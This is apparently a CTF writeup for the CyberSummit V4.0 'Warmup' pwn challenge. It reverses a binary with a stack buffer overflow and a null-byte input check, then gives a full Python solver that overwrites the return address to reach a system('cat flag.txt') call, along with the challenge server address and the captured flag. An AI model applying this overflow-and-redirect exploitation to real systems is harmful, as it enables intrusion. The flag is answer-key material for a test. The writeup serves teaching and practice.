Skip to main content
Warmup - CTF Writeup
  1. Writeups/
  2. CyberSummit V4.0 - CTF Writeups/
  3. Binary Exploitation/

Warmup - CTF Writeup

·504 words·3 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: Warmup
Category: PWN
CTF: CyberSummit V4.0
Challenge Description: just the average PWN chall, good luck solving it
Server: nc 172.205.208.94 9001


Challenge Overview
#

We are given a remote service and one handout file: main.

The description is simple:

  • just the average PWN chall, good luck solving it
  • nc 172.205.208.94 9001

So the workflow is straightforward: reverse the provided main, identify the bug, and craft a payload for the remote endpoint.

Initial Analysis
#

Binary Information
#

$ file main
main: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped

String Analysis
#

$ strings main
Welcome to the warmup challenge!
Enter your input:
Good job!
cat flag.txt

The cat flag.txt string is an immediate hint that redirecting execution back to a useful code location will likely print the flag.

Reverse Engineering
#

Main Function
#

Disassembly of main shows this sequence after calling vuln:

call   vuln
lea    rax, [rip+...]      ; "cat flag.txt"
mov    rdi, rax
call   system@plt

The useful return target is 0x40126d, which leads into the system("cat flag.txt") path.

Vulnerable Function
#

vuln allocates a buffer of 0x50 (80) bytes, then reads 0xc8 (200) bytes into it:

sub    rsp, 0x50
...
read(0, buf, 0xc8)

That is a classic stack overflow.

Input Validation Logic
#

There is a validation loop over min(bytes_read, 0x40) bytes:

test   al, al
je     continue
call   exit

This means:

  • If byte is 0x00, loop continues.
  • If byte is non-zero, program exits.

So the first 64 bytes must be null bytes.

Exploitation Strategy
#

Offsets
#

  • Buffer size: 0x50 bytes
  • Saved RBP: 8 bytes
  • Offset to RIP: 0x50 + 8 = 88

Payload Plan
#

  1. Send 64 null bytes to satisfy the check.
  2. Send 24 filler bytes to reach saved RIP.
  3. Overwrite RIP with 0x40126d.

Payload layout:

[0x00 * 64] + ["A" * 24] + [p64(0x40126d)]

Exploit Code
#

The full solver used for this challenge:

#!/usr/bin/env python3
import socket
import struct
import sys
import time

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 9001

# Jump to main+0x45: instruction sequence that calls system("cat flag.txt")
RET_TARGET = 0x40126d
OFFSET_TO_RET = 0x50 + 8

# First 64 bytes are checked and must be all zero.
payload = b"\x00" * 64
payload += b"A" * (OFFSET_TO_RET - 64)
payload += struct.pack("<Q", RET_TARGET)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((HOST, PORT))

banner = s.recv(4096)
if banner:
 print(banner.decode(errors="ignore"), end="")

s.sendall(payload)
time.sleep(0.2)

out = b""
while True:
 try:
  chunk = s.recv(4096)
  if not chunk:
   break
  out += chunk
 except socket.timeout:
  break

s.close()
print(out.decode(errors="ignore"), end="")

Run:

python3 solve.py 172.205.208.94 9001

Remote Execution
#

$ python3 solve.py 172.205.208.94 9001
Welcome to the warmup challenge!
Enter your input: Good job!
CyberTrace{W3lC0me_70_H3lL_Y0ouu_Kn0w_Wh4t_Th3y_S4y}

Final Flag
#

CyberTrace{W3lC0me_70_H3lL_Y0ouu_Kn0w_Wh4t_Th3y_S4y}

Key Takeaways
#

  1. Even simple warmup binaries can hide logic twists in validation checks.
  2. Here, the first 64 bytes had to be all zero, not printable.
  3. Partial checks are often bypassed by placing exploit data outside the validated region.
  4. A clean ret2text jump to an existing system("cat flag.txt") path is enough to win.

Related